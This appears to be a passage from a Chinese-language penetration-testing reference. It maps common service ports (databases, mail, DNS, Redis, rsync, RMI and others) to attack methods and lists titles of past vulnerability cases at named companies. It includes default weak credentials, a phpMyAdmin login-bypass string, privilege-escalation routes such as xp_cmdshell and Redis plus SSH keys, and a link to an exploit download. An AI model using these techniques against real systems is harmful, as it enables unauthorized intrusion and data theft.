默认端口:8080
攻击方式:
目录遍历
远程文件读取
案例分享:
爱奇艺Resin配置漏洞
Resin漏洞利用案例之目录遍历/以金蝶某系统为例Jetty
默认端口:8080
攻击方式:
远程共享缓冲区溢出Lotus
影响的都是一些大型的企业,特别需要注意,经过以前的测试发现弱口令这个问题经常都存在,可能是很多管理员不知道如何去修改(不要打我)。
默认端口:1352
攻击方式:
爆破:弱口令(admin password)控制台
信息泄露
跨站脚本攻击
案例分享:
Lotus Domino WebMail一处越权访问
中电投集团某系统弱口令直达内网涉及/OA系统/内部邮箱/财务系统/人力资源系统
中国某大型金融机构地方业务弱口令导致数万商户信息泄露&amp;访问Lotus Domino后台数据库服务端口渗透
针对所有的数据库攻击方式都存在SQL注入,这里先提出来在下面就不一一写了免得大家说我占篇幅;当然不同的数据库注入技巧可能不一样,特别是NoSQL与传统的SQL数据库不太一样。但是这不是本文需要介绍的重点,后面有时间会写一篇不同数据库的渗透技巧。MySQL数据库
默认端口:3306
攻击方式:
爆破:弱口令
身份认证漏洞:CVE-2012-2122
拒绝服务攻击:利用sql语句是服务器进行死循环打死服务器
Phpmyadmin万能密码绕过:用户名:‘localhost’@’@”  密码任意
案例分享:
漏洞分享
和讯网某站点存在mysql注入漏洞
MySQL提权总结MSSQL数据库
默认端口:1433(Server 数据库服务)、1434(Monitor 数据库监控)
攻击方式:
爆破:弱口令/使用系统用户
案例分享:
MSSQL注射总结
上海安脉综合管理系统mssql注射漏洞
解密MSSQL连接数据库密码
从攻击MSSQL到提权: 使用msf针对mssql的一次完整渗透Oracle数据库
默认端口:1521(数据库端口)、1158(Oracle EMCTL端口)、8080(Oracle XDB数据库)、210(Oracle XDB FTP服务)
攻击方式:
爆破:弱口令
注入攻击;
漏洞攻击;
案例分享:
Oracle盲注结合XXE漏洞远程获取数据PostgreSQL数据库
PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。包括我们kali系统中msf也使用这个数据库;浅谈postgresql数据库攻击技术  大部分关于它的攻击依旧是sql注入,所以注入才是数据库不变的话题。
默认端口:5432
攻击方式:
爆破:弱口令:postgres postgres
缓冲区溢出:CVE-2014-2669
案例分享:
Hacking postgresql
关于postgresql的那些事MongoDB数据库
MongoDB:NoSQL数据库;攻击方法与其他数据库类似;关于它的安全讲解:请参考
默认端口:27017
攻击方式:
爆破:弱口令
未授权访问;github有攻击代码;请点击
案例分享:
MongoDB phpMoAdmin远程代码执行
搜狐MongoDB未授权访问
新浪微米未授权访问
解决MongoDB各种隐患问题Redis数据库
redis:是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问。Exp:https://yunpan.cn/cYjzHxawFpyVt  访问密码 e547
默认端口:6379
攻击方式:
爆破:弱口令
未授权访问+配合ssh key提权;
案例分享:
中国铁建网redis+ssh-keygen免认证登录SysBase数据库
默认端口:服务端口5000;监听端口4100;备份端口:4200
攻击方式:
爆破:弱口令
命令注入:
案例分享:
广西自考信息系统Sybase数据库注入
Sybase EAServer命令注入漏洞DB2数据库
默认端口:5000
攻击方式:
安全限制绕过:成功后可执行未授权操作(CVE-2015-1922)
案例分享:
哈尔滨银行主站DB2注入
总结一下:对于数据库,我们得知端口很多时候可以帮助我们去渗透,比如得知mysql的 数据库,我们就可以使用SQL注入进行mof、udf等方式提权;如果是mssql我们就可以使用xp_cmdshell来进行提权;如果是其它的数据 库,我们也可以采用对应的方式;比如各大数据库对应它们的默认口令,版本对应的漏洞!
顺便提一下:很多时候银行企业采用的都是oracle、db2等大型数据库;邮件服务端口渗透SMTP协议
smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件!
默认端口:25(smtp)、465(smtps)
攻击方式:
爆破:弱口令
未授权访问
案例分享:
腾讯邮箱smtp注册时间限制绕过漏洞
邮件伪造详解
qq邮箱伪造发件地址,容易被钓鱼利用
众多厂商邮件系统配置不当可伪造邮件人POP3协议
默认端口:109(POP2)、110(POP3)、995(POP3S)
攻击方式:
爆破;弱口令
未授权访问;
案例分享:
中国联通沃邮箱等部分Android客户端免密码登陆(可获取任意联通用户pop3密码)
中航信邮箱密码泄漏及VPN账号和大量邮箱弱口令导致可内网漫游拿到域控IMAP协议
默认端口:143(imap)、993(imaps)
攻击方式:
爆破:弱口令
配置不当
案例分享:
163邮箱二次验证饶过缺陷
南方周末邮件服务器任意文件读取漏洞网络常见协议端口渗透DNS服务
默认端口:53
攻击方式:
区域传输漏洞
见2中的总结
案例分享:
全球Top1000Websites中存在DNS区域传送漏洞的网站列表
团购王某站DNS域传送漏洞
DNS泛解析与内容投毒DHCP服务
默认端口:67&68、546(DHCP Failover做双机热备的)
攻击方式:
DHCP劫持;
见2中总结
案例分享:
流氓DHCP服务器内网攻击测试SNMP协议
默认端口:161
攻击方式:
爆破:弱口令
案例分享:
snmp弱口令引起的信息泄漏
基于snmp的反射攻击的理论及其实现
华为某服务器SNMP弱口令其他端口渗透Hadoop文件服务
默认端口:请参考
案例分享:
Apache Hadoop远程命令执行
新浪漏洞系列第六弹–大量hadoop应用对外访问Zookeeper服务
zookeeper:分布式的,开放源码的分布式应用程序协调服务;提供功能包括:配置维护、域名服务、分布式同步、组服务等。详情请参考百度百科
默认端口:2181
攻击方式:
未授权访问;
案例分享:
zookeeper未授权访问漏洞
网上关于这方面的案例暂时不多,但是对于大数据逐渐泛滥的今天,这些漏洞未来会在乌云上出现一大波!Zabbix服务
zabbix:基于Web界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。监视各种网络参数,保证服务器系统的安全运营。
默认端口:8069
攻击方式:
远程命令执行:
案例分享:
当渗透遇到zabbix–小谈zabbix安全
Zabbix的前台SQL注射漏洞利用
网易zabbix运维不当,导致任意命令执行。(可提权、可内网渗透)elasticsearch服务
elasticsearch:请百度(因为我觉得我解释不清楚)
默认端口:9200()、9300()
攻击方式:
未授权访问;
远程命令执行;
文件遍历;
低版本webshell植入;
案例分享:
ElasticSearch 远程代码执行漏洞
elasticsearch 漏洞利用工具memcache服务
默认端口:11211
案例分享:
Memcache安全配置
memcache 未授权访问漏洞Linux R服务
R服务:TCP端口512,513和514为著名的rlogin提供服务。在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts + +)。
默认端口:512(remote process execution);513(remote login a la
telnet);514(cmd)
攻击方式:
使用rlogin直接登录对方系统;RMI
RMI:我们使用这两个端口很少的原因是因为必须是java,而且rmi穿越防火墙并不好穿越;这里我不会去涉及其他的东西,这里提出RMI只是因为在前段时间的java反序列化中,我们的小伙伴Bird写过一个weblogic利用工具,里面涉及到了RMI的一些东西,在有的时候使用socket不能成功时,我们可以使用RMI方式来进行利用;
默认端口:1090()、1099()
攻击方式:
远程命令执行(java反序列化,调用rmi方式执行命令)
这就是RMI的魅力了!
工具下载:请点我Rsync服务
Rsync:类UNIX系统下的数据备份工具(remote sync),属于增量备份;关于它的功能,大家自行百度百科吧,其实上面很多大家也看到了说是端口渗透,其实就是端口对应服务的渗透,服务一般出错就在配置或者版本问题上,rsync也不例外。Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。
默认端口:873
攻击方式:
未授权访问;
本地提权:rsync默认以root运行,利用rsync上传一个文件,只要这个文件具有s权限,我们执行我们的攻击脚本就可以具有root权限。详细请参考参考二
案例分享:
搜狐几处rsync未授权访问Socket代理
默认端口:1080
Socket代理针对代理来说没有什么漏洞,一般只是在渗透过程中作为我们的代理,进入内网,或者渗透域和林的时候有帮助。这里不做过多描述,但是可以尝试爆破一下代理的用户名和密码,万一运气好能登录,不也~~~~
案例分享:
利用php socket5代理渗透内网0x02 总结两句图解端口渗透端口号端口说明攻击技巧21/22/69ftp/tftp:文件传输协议爆破
嗅探
溢出;后门22ssh:远程连接爆破
OpenSSH28个退格23telnet:远程连接爆破
嗅探25smtp:邮件服务邮件伪造53DNS:域名系统DNS区域传输
DNS劫持
DNS缓存投毒
DNS欺骗
深度利用:利用DNS隧道技术刺透防火墙67/68dhcp劫持
欺骗110pop3爆破139samba爆破
未授权访问
远程代码执行143imap爆破161snmp爆破389ldap注入攻击
未授权访问512/513/514linux r直接使用rlogin873rsync未授权访问1080socket爆破:进行内网渗透1352lotus爆破:弱口令
信息泄漏:源代码1433mssql爆破:使用系统用户登录
注入攻击1521oracle爆破:TNS
注入攻击2049nfs配置不当2181zookeeper未授权访问3306mysql爆破
拒绝服务
注入3389rdp爆破
Shift后门4848glassfish爆破:控制台弱口令
认证绕过5000sybase/DB2爆破
注入5432postgresql缓冲区溢出
注入攻击
爆破:弱口令5632pcanywhere拒绝服务
代码执行5900vnc爆破:弱口令
认证绕过6379redis未授权访问
爆破:弱口令7001weblogicJava反序列化
控制台弱口令
控制台部署webshell80/443/8080web常见web攻击
控制台爆破
对应服务器版本漏洞8069zabbix远程命令执行9090websphere控制台爆破:控制台弱口令
Java反序列9200/9300elasticsearch远程代码执行11211memcacache未授权访问27017mongodb爆破
未授权访问